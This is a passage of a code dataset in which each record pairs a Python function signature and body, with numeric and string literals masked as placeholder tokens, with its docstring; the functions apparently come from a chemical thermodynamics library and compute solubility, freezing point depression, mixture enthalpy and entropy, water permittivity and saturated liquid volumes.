Barton, Allan F. M. CRC Handbook of Solubility Parameters and Other\n       Cohesion Parameters, Second Edition. CRC Press, 1991.", "id": "f15775:m0"}
{"signature": "def solubility_eutectic(T, Tm, Hm, Cpl=<NUM_LIT:0>, Cps=<NUM_LIT:0>, gamma=<NUM_LIT:1>):", "body": "dCp = Cpl-Cps<EOL>x = exp(- Hm/R/T*(<NUM_LIT:1>-T/Tm) + dCp*(Tm-T)/R/T - dCp/R*log(Tm/T))/gamma<EOL>return x<EOL>", "docstring": "r'''Returns the maximum solubility of a solute in a solvent.\n\n    .. math::\n        \\ln x_i^L \\gamma_i^L = \\frac{\\Delta H_{m,i}}{RT}\\left(\n        1 - \\frac{T}{T_{m,i}}\\right) - \\frac{\\Delta C_{p,i}(T_{m,i}-T)}{RT}\n        + \\frac{\\Delta C_{p,i}}{R}\\ln\\frac{T_m}{T}\n\n        \\Delta C_{p,i} = C_{p,i}^L - C_{p,i}^S\n\n    Parameters\n    ----------\n    T : float\n        Temperature of the system [K]\n    Tm : float\n        Melting temperature of the solute [K]\n    Hm : float\n        Heat of melting at the melting temperature of the solute [J/mol]\n    Cpl : float, optional\n        Molar heat capacity of the solute as a liquid [J/mol/K]\n    Cpls: float, optional\n        Molar heat capacity of the solute as a solid [J/mol/K]\n    gamma : float, optional\n        Activity coefficient of the solute as a liquid [-]\n\n    Returns\n    -------\n    x : float\n        Mole fraction of solute at maximum solubility [-]\n\n    Notes\n    -----\n    gamma is of the solute in liquid phase\n\n    Examples\n    --------\n    From [1]_, matching example\n\n    >>> solubility_eutectic(T=260., Tm=278.68, Hm=9952., Cpl=0, Cps=0, gamma=3.0176)\n    0.24340068761677464\n\n    References\n    ----------\n    .. [1] Gmehling, Jurgen. Chemical Thermodynamics: For Process Simulation.\n       Weinheim, Germany: Wiley-VCH, 2012.", "id": "f15775:m1"}
{"signature": "def Tm_depression_eutectic(Tm, Hm, x=None, M=None, MW=None):", "body": "if x:<EOL><INDENT>dTm = R*Tm**<NUM_LIT:2>*x/Hm<EOL><DEDENT>elif M and MW:<EOL><INDENT>MW = MW/<NUM_LIT> <EOL>dTm = R*Tm**<NUM_LIT:2>*MW*M/Hm<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return dTm<EOL>", "docstring": "r'''Returns the freezing point depression caused by a solute in a solvent.\n    Can use either the mole fraction of the solute or its molality and the\n    molecular weight of the solvent. Assumes ideal system behavior.\n\n    .. math::\n        \\Delta T_m = \\frac{R T_m^2 x}{\\Delta H_m}\n\n        \\Delta T_m = \\frac{R T_m^2 (MW) M}{1000 \\Delta H_m}\n\n    Parameters\n    ----------\n    Tm : float\n        Melting temperature of the solute [K]\n    Hm : float\n        Heat of melting at the melting temperature of the solute [J/mol]\n    x : float, optional\n        Mole fraction of the solute [-]\n    M : float, optional\n        Molality [mol/kg]\n    MW: float, optional\n        Molecular weight of the solvent [g/mol]\n\n    Returns\n    -------\n    dTm : float\n        Freezing point depression [K]\n\n    Notes\n    -----\n    MW is the molecular weight of the solvent. M is the molality of the solute.\n\n    Examples\n    --------\n    From [1]_, matching example.\n\n    >>> Tm_depression_eutectic(353.35, 19110, .02)\n    1.0864594900639515\n\n    References\n    ----------\n    .. [1] Gmehling, Jurgen. Chemical Thermodynamics: For Process Simulation.\n       Weinheim, Germany: Wiley-VCH, 2012.", "id": "f15775:m2"}
{"signature": "def enthalpy_Cpg_Hvap(self):", "body": "H = <NUM_LIT:0><EOL>T = self.T<EOL>if self.phase == '<STR_LIT:g>':<EOL><INDENT>for i in self.cmps:<EOL><INDENT>H += self.zs[i]*self.HeatCapacityGases[i].T_dependent_property_integral(self.T_REF_IG, T)<EOL><DEDENT><DEDENT>elif self.phase == '<STR_LIT:l>':<EOL><INDENT>for i in self.cmps:<EOL><INDENT>Hg298_to_T = self.HeatCapacityGases[i].T_dependent_property_integral(self.T_REF_IG, T)<EOL>Hvap = self.EnthalpyVaporizations[i](T) <EOL>if Hvap is None:<EOL><INDENT>Hvap = <NUM_LIT:0> <EOL><DEDENT>H += self.zs[i]*(Hg298_to_T - Hvap)<EOL><DEDENT><DEDENT>elif self.phase == '<STR_LIT>':<EOL><INDENT>for i in self.cmps:<EOL><INDENT>Hg298_to_T_zi = self.zs[i]*self.HeatCapacityGases[i].T_dependent_property_integral(self.T_REF_IG, T)<EOL>Hvap = self.EnthalpyVaporizations[i](T) <EOL>if Hvap is None:<EOL><INDENT>Hvap = <NUM_LIT:0> <EOL><DEDENT>Hvap_contrib = -self.xs[i]*(<NUM_LIT:1>-self.V_over_F)*Hvap<EOL>H += (Hg298_to_T_zi + Hvap_contrib)<EOL><DEDENT><DEDENT>return H<EOL>", "docstring": "r'''Method to calculate the enthalpy of an ideal mixture (no pressure\n        effects). This routine is based on \"route A\", where only the gas heat\n        capacity and enthalpy of vaporization are used.\n\n        The reference temperature is a property of the class; it defaults to\n        298.15 K.\n\n        For a pure gas mixture:\n\n        .. math::\n             H = \\sum_i z_i \\cdot \\int_{T_{ref}}^T C_{p}^{ig}(T) dT\n\n        For a pure liquid mixture:\n\n        .. math::\n             H = \\sum_i z_i \\left( \\int_{T_{ref}}^T C_{p}^{ig}(T) dT + H_{vap, i}(T) \\right)\n\n        For a vapor-liquid mixture:\n\n        .. math::\n             H = \\sum_i z_i \\cdot \\int_{T_{ref}}^T C_{p}^{ig}(T) dT\n                 + \\sum_i x_i\\left(1 - \\frac{V}{F}\\right)H_{vap, i}(T)\n\n        Returns\n        -------\n        H : float\n            Enthalpy of the mixture with respect to the reference temperature,\n            [J/mol]\n\n        Notes\n        -----\n        The object must be flashed before this routine can be used. It \n        depends on the properties T, zs, xs, V_over_F, HeatCapacityGases, \n        EnthalpyVaporizations, and.", "id": "f15776:c2:m3"}
{"signature": "def entropy_Cpg_Hvap(self):", "body": "S = <NUM_LIT:0><EOL>T = self.T<EOL>P = self.P<EOL>S -= R*sum([zi*log(zi) for zi in self.zs if zi > <NUM_LIT:0>]) <EOL>if self.phase == '<STR_LIT:g>':<EOL><INDENT>S -= R*log(P/<NUM_LIT>) <EOL>for i in self.cmps:<EOL><INDENT>S += self.HeatCapacityGases[i].T_dependent_property_integral_over_T(<NUM_LIT>, T)<EOL><DEDENT><DEDENT>elif self.phase == '<STR_LIT:l>':<EOL><INDENT>Psats = self._Psats(T)<EOL>for i in self.cmps:<EOL><INDENT>Sg298_to_T = self.HeatCapacityGases[i].T_dependent_property_integral_over_T(<NUM_LIT>, T)<EOL>Hvap = self.EnthalpyVaporizations[i](T)<EOL>if Hvap is None:<EOL><INDENT>Hvap = <NUM_LIT:0> <EOL><DEDENT>Svap = -Hvap/T <EOL>S_P = -R*log(Psats[i]/<NUM_LIT>)<EOL>S += self.zs[i]*(Sg298_to_T + Svap + S_P)<EOL><DEDENT><DEDENT>elif self.phase == '<STR_LIT>':<EOL><INDENT>Psats = self._Psats(T)<EOL>S_P_vapor = -R*log(P/<NUM_LIT>) <EOL>for i in self.cmps:<EOL><INDENT>Sg298_to_T_zi = self.zs[i]*self.HeatCapacityGases[i].T_dependent_property_integral_over_T(<NUM_LIT>, T)<EOL>Hvap = self.EnthalpyVaporizations[i](T) <EOL>if Hvap is None:<EOL><INDENT>Hvap = <NUM_LIT:0> <EOL><DEDENT>Svap_contrib = -self.xs[i]*(<NUM_LIT:1>-self.V_over_F)*Hvap/T<EOL>S_P_vapor_i = self.V_over_F*self.ys[i]*S_P_vapor<EOL>S_P_liquid_i = -R*log(Psats[i]/<NUM_LIT>)*(<NUM_LIT:1>-self.V_over_F)*self.xs[i]<EOL>S += (Sg298_to_T_zi + Svap_contrib + S_P_vapor_i + S_P_liquid_i)<EOL><DEDENT><DEDENT>return S<EOL>", "docstring": "r'''Method to calculate the entropy of an ideal mixture. This routine \n        is based on \"route A\", where only the gas heat capacity and enthalpy of\n        vaporization are used.\n\n        The reference temperature and pressure are properties of the class; it \n        defaults to 298.15 K and 101325 Pa.\n\n        There is a contribution due to mixing:\n\n        .. math::\n            \\Delta S_{mixing} = -R\\sum_i z_i \\log(z_i) \n\n        The ideal gas pressure contribution is:\n\n        .. math::\n            \\Delta S_{P} = -R\\log\\left(\\frac{P}{P_{ref}}\\right)\n\n        For a liquid mixture or a partially liquid mixture, the entropy\n        contribution is not so strong - all such pressure effects find that\n        expression capped at the vapor pressure, as shown in [1]_.\n\n        .. math::\n            \\Delta S_{P} = - \\sum_i x_i\\left(1 - \\frac{V}{F}\\right) \n            R\\log\\left(\\frac{P_{sat, i}}{P_{ref}}\\right) - \\sum_i y_i\\left(\n            \\frac{V}{F}\\right) R\\log\\left(\\frac{P}{P_{ref}}\\right)\n\n        These expressions are combined with the standard heat capacity and \n        enthalpy of vaporization expressions to calculate the total entropy:\n\n        For a pure gas mixture:\n\n        .. math::\n             S = \\Delta S_{mixing} + \\Delta S_{P} + \\sum_i z_i \\cdot\n             \\int_{T_{ref}}^T \\frac{C_{p}^{ig}(T)}{T} dT\n\n        For a pure liquid mixture:\n\n        .. math::\n             S = \\Delta S_{mixing} + \\Delta S_{P} + \\sum_i z_i \\left( \n             \\int_{T_{ref}}^T \\frac{C_{p}^{ig}(T)}{T} dT + \\frac{H_{vap, i}\n             (T)}{T} \\right)\n\n        For a vapor-liquid mixture:\n\n        .. math::\n             S = \\Delta S_{mixing} + \\Delta S_{P} + \\sum_i z_i \\cdot \n             \\int_{T_{ref}}^T \\frac{C_{p}^{ig}(T)}{T} dT + \\sum_i x_i\\left(1\n             - \\frac{V}{F}\\right)\\frac{H_{vap, i}(T)}{T}\n\n        Returns\n        -------\n        S : float\n            Entropy of the mixture with respect to the reference temperature,\n            [J/mol/K]\n\n        Notes\n        -----\n        The object must be flashed before this routine can be used. It \n        depends on the properties T, P, zs, V_over_F, HeatCapacityGases, \n        EnthalpyVaporizations, VaporPressures, and xs.\n\n        References\n        ----------\n        .. [1] Poling, Bruce E. The Properties of Gases and Liquids. 5th edition.\n           New York: McGraw-Hill Professional, 2000.", "id": "f15776:c2:m6"}
{"signature": "def permittivity_IAPWS(T, rho):", "body": "dipole = <NUM_LIT> <EOL>polarizability = <NUM_LIT> <EOL>MW = <NUM_LIT> <EOL>ih = [<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:3>, <NUM_LIT:3>, <NUM_LIT:4>, <NUM_LIT:5>, <NUM_LIT:6>, <NUM_LIT:7>, <NUM_LIT:10>]<EOL>jh = [<NUM_LIT>, <NUM_LIT:1>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT:2>, <NUM_LIT:2>, <NUM_LIT:5>, <NUM_LIT:0.5>, <NUM_LIT:10>]<EOL>Nh = [<NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, <NUM_LIT>,<EOL>-<NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, <EOL>-<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <EOL>-<NUM_LIT>]<EOL>delta = rho/<NUM_LIT><EOL>tau = <NUM_LIT>/T<EOL>g = (<NUM_LIT:1> + sum([Nh[h]*delta**ih[h]*tau**jh[h] for h in range(<NUM_LIT:11>)])<EOL>+ <NUM_LIT>*delta*(T/<NUM_LIT> - <NUM_LIT:1>)**-<NUM_LIT>)<EOL>A = N_A*dipole**<NUM_LIT:2>*(rho/MW)*g/epsilon_0/k/T<EOL>B = N_A*polarizability*(rho/MW)/<NUM_LIT>/epsilon_0<EOL>epsilon = (<NUM_LIT:1.> + A + <NUM_LIT>*B + (<NUM_LIT> + <NUM_LIT>*A + <NUM_LIT>*B + A**<NUM_LIT:2> + <NUM_LIT>*A*B + <NUM_LIT>*B**<NUM_LIT:2><EOL>)**<NUM_LIT:0.5>)/(<NUM_LIT> - <NUM_LIT>*B)<EOL>return epsilon<EOL>", "docstring": "r'''Calculate the relative permittivity of pure water as a function of.\n    temperature and density. Assumes the 1997 IAPWS [1]_ formulation.\n\n    .. math::\n        \\epsilon(\\rho, T) =\\frac{1 + A + 5B + (9 + 2A + 18B + A^2 + 10AB + \n        9B^2)^{0.5}}{4(1-B)}\n\n        A(\\rho, T) = \\frac{N_A\\mu^2\\rho g}{M\\epsilon_0 kT}\n\n        B(\\rho) = \\frac{N_A\\alpha\\rho}{3M\\epsilon_0}\n\n        g(\\delta,\\tau) = 1 + \\sum_{i=1}^{11}n_i\\delta^{I_i}\\tau^{J_i} \n        + n_{12}\\delta\\left(\\frac{647.096}{228}\\tau^{-1} - 1\\right)^{-1.2}\n\n        \\delta = \\rho/(322 \\text{ kg/m}^3)\n\n        \\tau = T/647.096\\text{K}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of water [K]\n    rho : float\n        Mass density of water at T and P [kg/m^3]\n\n    Returns\n    -------\n    epsilon : float\n        Relative permittivity of water at T and rho, [-]\n\n    Notes\n    -----\n    Validity:\n\n    273.15 < T < 323.15 K for 0 < P < iceVI melting pressure at T or 1000 MPa,\n    whichever is smaller.\n\n    323.15 < T < 873.15 K 0 < p < 600 MPa.\n\n    Coefficients:\n\n    ih = [1, 1, 1, 2, 3, 3, 4, 5, 6, 7, 10];\n    jh = [0.25, 1, 2.5, 1.5, 1.5, 2.5, 2, 2, 5, 0.5, 10];\n    Nh = [0.978224486826, -0.957771379375, 0.237511794148, 0.714692244396,\n          -0.298217036956, -0.108863472196, 0.949327488264E-1, \n          -.980469816509E-2, 0.165167634970E-4, 0.937359795772E-4, \n          -0.12317921872E-9];\n    polarizability = 1.636E-40\n    dipole = 6.138E-30\n\n    Examples\n    --------\n    >>> permittivity_IAPWS(373., 958.46)\n    55.56584297721836\n\n    References\n    ----------\n    .. [1] IAPWS. 1997. Release on the Static Dielectric Constant of Ordinary \n       Water Substance for Temperatures from 238 K to 873 K and Pressures up \n       to 1000 MPa.", "id": "f15777:m0"}
{"signature": "def load_all_methods(self):", "body": "methods = []<EOL>Tmins, Tmaxs = [], []<EOL>if self.CASRN in CRC_Permittivity_data.index:<EOL><INDENT>methods.append(CRC_CONSTANT)<EOL>_, self.CRC_CONSTANT_T, self.CRC_permittivity, A, B, C, D, Tmin, Tmax = _CRC_Permittivity_data_values[CRC_Permittivity_data.index.get_loc(self.CASRN)].tolist()<EOL>self.CRC_Tmin = Tmin<EOL>self.CRC_Tmax = Tmax<EOL>self.CRC_coeffs = [<NUM_LIT:0> if np.isnan(x) else x for x in [A, B, C, D] ]<EOL>if not np.isnan(Tmin):<EOL><INDENT>Tmins.append(Tmin); Tmaxs.append(Tmax)<EOL><DEDENT>if self.CRC_coeffs[<NUM_LIT:0>]:<EOL><INDENT>methods.append(CRC)<EOL><DEDENT><DEDENT>self.all_methods = set(methods)<EOL>if Tmins and Tmaxs:<EOL><INDENT>self.Tmin = min(Tmins)<EOL>self.Tmax = max(Tmaxs)<EOL><DEDENT>", "docstring": "r'''Method which picks out coefficients for the specified chemical\n        from the various dictionaries and DataFrames storing it. All data is\n        stored as attributes. This method also sets :obj:`Tmin`, :obj:`Tmax`,\n        and :obj:`all_methods` as a set of methods for which the data exists for.\n\n        Called on initialization only. See the source code for the variables at\n        which the coefficients are stored. The coefficients can safely be\n        altered once the class is initialized. This method can be called again\n        to reset the parameters.", "id": "f15777:c0:m1"}
{"signature": "def calculate(self, T, method):", "body": "if method == CRC:<EOL><INDENT>A, B, C, D = self.CRC_coeffs<EOL>epsilon = A + B*T + C*T**<NUM_LIT:2> + D*T**<NUM_LIT:3><EOL><DEDENT>elif method == CRC_CONSTANT:<EOL><INDENT>epsilon = self.CRC_permittivity<EOL><DEDENT>elif method in self.tabular_data:<EOL><INDENT>epsilon = self.interpolate(T, method)<EOL><DEDENT>return epsilon<EOL>", "docstring": "r'''Method to calculate permittivity of a liquid at temperature `T`\n        with a given method.\n\n        This method has no exception handling; see `T_dependent_property`\n        for that.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate relative permittivity, [K]\n        method : str\n            Name of the method to use\n\n        Returns\n        -------\n        epsilon : float\n            Relative permittivity of the liquid at T, [-]", "id": "f15777:c0:m2"}
{"signature": "def VDI_tabular_data(CASRN, prop):", "body": "try:<EOL><INDENT>d = _VDISaturationDict[CASRN]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>props, Ts = d[prop], d['<STR_LIT:T>']<EOL><DEDENT>except:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>Ts = [T for p, T in zip(props, Ts) if p]<EOL>props = [p for p in props if p]<EOL>if prop == '<STR_LIT>':<EOL><INDENT>Ts.append(d['<STR_LIT>'])<EOL>props.append(<NUM_LIT:0>)<EOL><DEDENT>return Ts, props<EOL>", "docstring": "r'''This function retrieves the tabular data available for a given chemical\n    and a given property. Lookup is based on CASRNs. Length of data returned\n    varies between chemicals. All data is at saturation condition from [1]_.\n\n    Function has data for 58 chemicals.\n\n    Parameters\n    ----------\n    CASRN : string\n        CASRN [-]\n    prop : string\n        Property [-]\n\n    Returns\n    -------\n    Ts : list\n        Temperatures where property data is available, [K]\n    props : list\n        Properties at each temperature, [various]\n\n    Notes\n    -----\n    The available properties are 'P', 'Density (l)', 'Density (g)', 'Hvap',\n    'Cp (l)', 'Cp (g)', 'Mu (l)', 'Mu (g)', 'K (l)', 'K (g)', 'Pr (l)',\n    'Pr (g)', 'sigma', 'Beta', 'Volume (l)', and 'Volume (g)'.\n\n    Data is available for all properties and all chemicals; surface tension\n    data was missing for mercury, but added as estimated from the a/b\n    coefficients listed in Jasper (1972) to simplify the function.\n\n    Examples\n    --------\n    >>> VDI_tabular_data('67-56-1', 'Mu (g)')\n    ([337.63, 360.0, 385.0, 410.0, 435.0, 460.0, 500.0], [1.11e-05, 1.18e-05, 1.27e-05, 1.36e-05, 1.46e-05, 1.59e-05, 2.04e-05])\n\n    References\n    ----------\n    .. [1] Gesellschaft, VDI, ed. VDI Heat Atlas. 2E. Berlin\u202f: Springer, 2010.", "id": "f15778:m0"}
{"signature": "def Yen_Woods_saturation(T, Tc, Vc, Zc):", "body": "Tr = T/Tc<EOL>A = <NUM_LIT> - <NUM_LIT>*Zc + <NUM_LIT>*Zc**<NUM_LIT:2> - <NUM_LIT>*Zc**<NUM_LIT:3><EOL>if Zc <= <NUM_LIT>:<EOL><INDENT>B = -<NUM_LIT> + <NUM_LIT>*Zc + <NUM_LIT>*Zc**<NUM_LIT:2> - <NUM_LIT>*Zc**<NUM_LIT:3><EOL><DEDENT>else:<EOL><INDENT>B = <NUM_LIT> - <NUM_LIT>*Zc + <NUM_LIT>*Zc**<NUM_LIT:2> + <NUM_LIT>*Zc**<NUM_LIT:3><EOL><DEDENT>D = <NUM_LIT> - B<EOL>Vm = Vc/(<NUM_LIT:1> + A*(<NUM_LIT:1>-Tr)**(<NUM_LIT:1>/<NUM_LIT>) + B*(<NUM_LIT:1>-Tr)**(<NUM_LIT:2>/<NUM_LIT>) + D*(<NUM_LIT:1>-Tr)**(<NUM_LIT:4>/<NUM_LIT>))<EOL>return Vm<EOL>", "docstring": "r'''Calculates saturation liquid volume, using the Yen and Woods [1]_ CSP\n    method and a chemical's critical properties.\n\n    The molar volume of a liquid is given by:\n\n    .. math::\n        Vc/Vs = 1 + A(1-T_r)^{1/3} + B(1-T_r)^{2/3} + D(1-T_r)^{4/3}\n\n        D = 0.93-B\n\n        A = 17.4425 - 214.578Z_c + 989.625Z_c^2 - 1522.06Z_c^3\n\n        B = -3.28257 + 13.6377Z_c + 107.4844Z_c^2-384.211Z_c^3\n        \\text{ if } Zc \\le 0.26\n\n        B = 60.2091 - 402.063Z_c + 501.0 Z_c^2 + 641.0 Z_c^3\n        \\text{ if } Zc \\ge 0.26\n\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    Tc : float\n        Critical temperature of fluid [K]\n    Vc : float\n        Critical volume of fluid [m^3/mol]\n    Zc : float\n        Critical compressibility of fluid, [-]\n\n    Returns\n    -------\n    Vs : float\n        Saturation liquid volume, [m^3/mol]\n\n    Notes\n    -----\n    Original equation was in terms of density, but it is converted here.\n\n    No example has been found, nor are there points in the article. However,\n    it is believed correct. For compressed liquids with the Yen-Woods method,\n    see the `YenWoods_compressed` function.\n\n    Examples\n    --------\n    >>> Yen_Woods_saturation(300, 647.14, 55.45E-6, 0.245)\n    1.7695330765295693e-05\n\n    References\n    ----------\n    .. [1] Yen, Lewis C., and S. S. Woods. \"A Generalized Equation for Computer\n       Calculation of Liquid Densities.\" AIChE Journal 12, no. 1 (1966):\n       95-99. doi:10.1002/aic.690120119", "id": "f15779:m0"}
{"signature": "def Rackett(T, Tc, Pc, Zc):", "body": "return R*Tc/Pc*Zc**(<NUM_LIT:1> + (<NUM_LIT:1> - T/Tc)**(<NUM_LIT:2>/<NUM_LIT>))<EOL>", "docstring": "r'''Calculates saturation liquid volume, using Rackett CSP method and\n    critical properties.\n\n    The molar volume of a liquid is given by:\n\n    .. math::\n        V_s = \\frac{RT_c}{P_c}{Z_c}^{[1+(1-{T/T_c})^{2/7} ]}\n\n    Units are all currently in m^3/mol - this can be changed to kg/m^3\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    Tc : float\n        Critical temperature of fluid [K]\n    Pc : float\n        Critical pressure of fluid [Pa]\n    Zc : float\n        Critical compressibility of fluid, [-]\n\n    Returns\n    -------\n    Vs : float\n        Saturation liquid volume, [m^3/mol]\n\n    Notes\n    -----\n    Units are dependent on gas constant R, imported from scipy\n    According to Reid et. al, underpredicts volume for compounds with Zc < 0.22\n\n    Examples\n    --------\n    Propane, example from the API Handbook\n\n    >>> Vm_to_rho(Rackett(272.03889, 369.83, 4248000.0, 0.2763), 44.09562)\n    531.3223212651092\n\n    References\n    ----------\n    .. [1] Rackett, Harold G. \"Equation of State for Saturated Liquids.\"\n       Journal of Chemical & Engineering Data 15, no. 4 (1970): 514-517.\n       doi:10.1021/je60047a012", "id": "f15779:m1"}
{"signature": "def Yamada_Gunn(T, Tc, Pc, omega):", "body": "return R*Tc/Pc*(<NUM_LIT> - <NUM_LIT>*omega)**(<NUM_LIT:1> + (<NUM_LIT:1> - T/Tc)**(<NUM_LIT:2>/<NUM_LIT>))<EOL>", "docstring": "r'''Calculates saturation liquid volume, using Yamada and Gunn CSP method\n    and a chemical's critical properties and acentric factor.\n\n    The molar volume of a liquid is given by:\n\n    .. math::\n        V_s = \\frac{RT_c}{P_c}{(0.29056-0.08775\\omega)}^{[1+(1-{T/T_c})^{2/7}]}\n\n    Units are in m^3/mol.\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    Tc : float\n        Critical temperature of fluid [K]\n    Pc : float\n        Critical pressure of fluid [Pa]\n    omega : float\n        Acentric factor for fluid, [-]\n\n    Returns\n    -------\n    Vs : float\n        saturation liquid volume, [m^3/mol]\n\n    Notes\n    -----\n    This equation is an improvement on the Rackett equation.\n    This is often presented as the Rackett equation.\n    The acentric factor is used here, instead of the critical compressibility\n    A variant using a reference fluid also exists\n\n    Examples\n    --------\n    >>> Yamada_Gunn(300, 647.14, 22048320.0, 0.245)\n    2.1882836429895796e-05\n\n    References\n    ----------\n    .. [1] Gunn, R. D., and Tomoyoshi Yamada. \"A Corresponding States\n        Correlation of Saturated Liquid Volumes.\" AIChE Journal 17, no. 6\n        (1971): 1341-45. doi:10.1002/aic.690170613\n    .. [2] Yamada, Tomoyoshi, and Robert D. Gunn. \"Saturated Liquid Molar\n        Volumes. Rackett Equation.\" Journal of Chemical & Engineering Data 18,\n        no. 2 (1973): 234-36. doi:10.1021/je60057a006", "id": "f15779:m2"}
{"signature": "def Townsend_Hales(T, Tc, Vc, omega):", "body": "Tr = T/Tc<EOL>return Vc/(<NUM_LIT:1> + <NUM_LIT>*(<NUM_LIT:1>-Tr) + (<NUM_LIT> + <NUM_LIT>*omega)*(<NUM_LIT:1>-Tr)**(<NUM_LIT:1>/<NUM_LIT>))<EOL>", "docstring": "r'''Calculates saturation liquid density, using the Townsend and Hales\n    CSP method as modified from the original Riedel equation. Uses\n    chemical critical volume and temperature, as well as acentric factor\n\n    The density of a liquid is given by:\n\n    .. math::\n        Vs = V_c/\\left(1+0.85(1-T_r)+(1.692+0.986\\omega)(1-T_r)^{1/3}\\right)\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    Tc : float\n        Critical temperature of fluid [K]\n    Vc : float\n        Critical volume of fluid [m^3/mol]\n    omega : float\n        Acentric factor for fluid, [-]\n\n    Returns\n    -------\n    Vs : float\n        Saturation liquid volume, [m^3/mol]\n\n    Notes\n    -----\n    The requirement for critical volume and acentric factor requires all data.\n\n    Examples\n    --------\n    >>> Townsend_Hales(300, 647.14, 55.95E-6, 0.3449)\n    1.8007361992619923e-05\n\n    References\n    ----------\n    .. [1] Hales, J. L, and R Townsend. \"Liquid Densities from 293 to 490 K of\n       Nine Aromatic Hydrocarbons.\" The Journal of Chemical Thermodynamics\n       4, no. 5 (1972): 763-72. doi:10.1016/0021-9614(72)90050-X", "id": "f15779:m3"}
{"signature": "def Bhirud_normal(T, Tc, Pc, omega):", "body": "Tr = T/Tc<EOL>if Tr <= <NUM_LIT>:<EOL><INDENT>lnU0 = <NUM_LIT> - <NUM_LIT>*Tr + <NUM_LIT>*Tr**<NUM_LIT:2> - <NUM_LIT>*Tr**<NUM_LIT:3>+ <NUM_LIT>*Tr**<NUM_LIT:4> - <NUM_LIT>*Tr**<NUM_LIT:5> + <NUM_LIT>*Tr**<NUM_LIT:6><EOL>lnU1 = <NUM_LIT> - <NUM_LIT>*Tr + <NUM_LIT>*Tr**<NUM_LIT:2>-<NUM_LIT>*Tr**<NUM_LIT:3>+ <NUM_LIT>*Tr**<NUM_LIT:4> - <NUM_LIT>*Tr**<NUM_LIT:5> + <NUM_LIT>*Tr**<NUM_LIT:6><EOL><DEDENT>elif Tr > <NUM_LIT:1>:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>lnU0 = Bhirud_normal_lnU0_interp(Tr)<EOL>lnU1 = Bhirud_normal_lnU1_interp(Tr)<EOL><DEDENT>Unonpolar = exp(lnU0 + omega*lnU1)<EOL>Vm = Unonpolar*R*T/Pc<EOL>return Vm<EOL>", "docstring": "r'''Calculates saturation liquid density using the Bhirud [1]_ CSP method.\n    Uses Critical temperature and pressure and acentric factor.\n\n    The density of a liquid is given by:\n\n    .. math::\n        &\\ln \\frac{P_c}{\\rho RT} = \\ln U^{(0)} + \\omega\\ln U^{(1)}\n\n        &\\ln U^{(0)} = 1.396 44 - 24.076T_r+ 102.615T_r^2\n        -255.719T_r^3+355.805T_r^4-256.671T_r^5 + 75.1088T_r^6\n\n        &\\ln U^{(1)} = 13.4412 - 135.7437 T_r + 533.380T_r^2-\n        1091.453T_r^3+1231.43T_r^4 - 728.227T_r^5 + 176.737T_r^6\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    Tc : float\n        Critical temperature of fluid [K]\n    Pc : float\n        Critical pressure of fluid [Pa]\n    omega : float\n        Acentric factor for fluid, [-]\n\n    Returns\n    -------\n    Vm : float\n        Saturated liquid molar volume, [mol/m^3]\n\n    Notes\n    -----\n    Claimed inadequate by others.\n\n    An interpolation table for ln U values are used from Tr = 0.98 - 1.000.\n    Has terrible behavior at low reduced temperatures.\n\n    Examples\n    --------\n    Pentane\n\n    >>> Bhirud_normal(280.0, 469.7, 33.7E5, 0.252)\n    0.00011249654029488583\n\n    References\n    ----------\n    .. [1] Bhirud, Vasant L. \"Saturated Liquid Densities of Normal Fluids.\"\n       AIChE Journal 24, no. 6 (November 1, 1978): 1127-31.\n       doi:10.1002/aic.690240630", "id": "f15779:m4"}
{"signature": "def COSTALD(T, Tc, Vc, omega):", "body": "Tr = T/Tc<EOL>V_delta = (-<NUM_LIT> + <NUM_LIT>*Tr - <NUM_LIT>*Tr**<NUM_LIT:2><EOL>- <NUM_LIT>*Tr**<NUM_LIT:3>)/(Tr - <NUM_LIT>)<EOL>V_0 = <NUM_LIT:1> - <NUM_LIT>*(<NUM_LIT:1>-Tr)**(<NUM_LIT:1>/<NUM_LIT>) + <NUM_LIT>*(<NUM_LIT:1>-Tr)**(<NUM_LIT:2>/<NUM_LIT>)- <NUM_LIT>*(<NUM_LIT:1>-Tr) + <NUM_LIT>*(<NUM_LIT:1>-Tr)**(<NUM_LIT:4>/<NUM_LIT>)<EOL>return Vc*V_0*(<NUM_LIT:1>-omega*V_delta)<EOL>", "docstring": "r'''Calculate saturation liquid density using the COSTALD CSP method.\n\n    A popular and accurate estimation method. If possible, fit parameters are\n    used; alternatively critical properties work well.\n\n    The density of a liquid is given by:\n\n    .. math::\n        V_s=V^*V^{(0)}[1-\\omega_{SRK}V^{(\\delta)}]\n\n        V^{(0)}=1-1.52816(1-T_r)^{1/3}+1.43907(1-T_r)^{2/3}\n        - 0.81446(1-T_r)+0.190454(1-T_r)^{4/3}\n\n        V^{(\\delta)}=\\frac{-0.296123+0.386914T_r-0.0427258T_r^2-0.0480645T_r^3}\n        {T_r-1.00001}\n\n    Units are that of critical or fit constant volume.\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    Tc : float\n        Critical temperature of fluid [K]\n    Vc : float\n        Critical volume of fluid [m^3/mol].\n        This parameter is alternatively a fit parameter\n    omega : float\n        (ideally SRK) Acentric factor for fluid, [-]\n        This parameter is alternatively a fit parameter.\n\n    Returns\n    -------\n    Vs : float\n        Saturation liquid volume\n\n    Notes\n    -----\n    196 constants are fit to this function in [1]_.\n    Range: 0.25 < Tr < 0.95, often said to be to 1.0\n\n    This function has been checked with the API handbook example problem.\n\n    Examples\n    --------\n    Propane, from an example in the 